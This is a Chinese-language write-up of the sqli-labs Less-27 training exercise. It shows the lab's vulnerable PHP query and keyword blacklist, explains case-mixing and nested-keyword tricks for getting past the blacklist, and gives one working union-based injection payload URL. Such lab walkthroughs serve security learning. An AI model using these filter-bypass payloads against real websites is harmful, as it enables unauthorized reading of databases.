sqli-labs ————less -27(union、SELECT、繞過濾)

FLy_鵬程萬里發表於2018-05-19

Less-27

從提示介面中我們可以看出這一小節對union、select進行了繞過,那麼我們下面來看看原始碼吧:
SQL語句:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
過濾機制:
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*
$id= preg_replace('/[--]/',"", $id);		//Strip out --.
$id= preg_replace('/[#]/',"", $id);			//Strip out #.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/select/m',"", $id);	    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);	    //Strip out spaces.
$id= preg_replace('/union/s',"", $id);	    //Strip out union
$id= preg_replace('/select/s',"", $id);	    //Strip out select
$id= preg_replace('/UNION/s',"", $id);	    //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);	    //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);	    //Strip out Union
$id= preg_replace('/Select/s',"", $id);	    //Strip out select
return $id;
}

從SQL語句中我們可以發現id引數被單引號包裹,我們如果要構造SQL語句就需要閉合前面的單引號,同時在過濾機制中我們發最常用的select、union也被過濾了,那麼我們現在來看看如何繞過:

大小寫:Union\SelecT等等
繞過的字串組合:UNinUNIONon

下面做一個簡單的測試:

payload:http://192.168.11.136/sqli-labs/Less-27?id=-1'unIon%a0SelEcT%a01,database(),3||'1


相關文章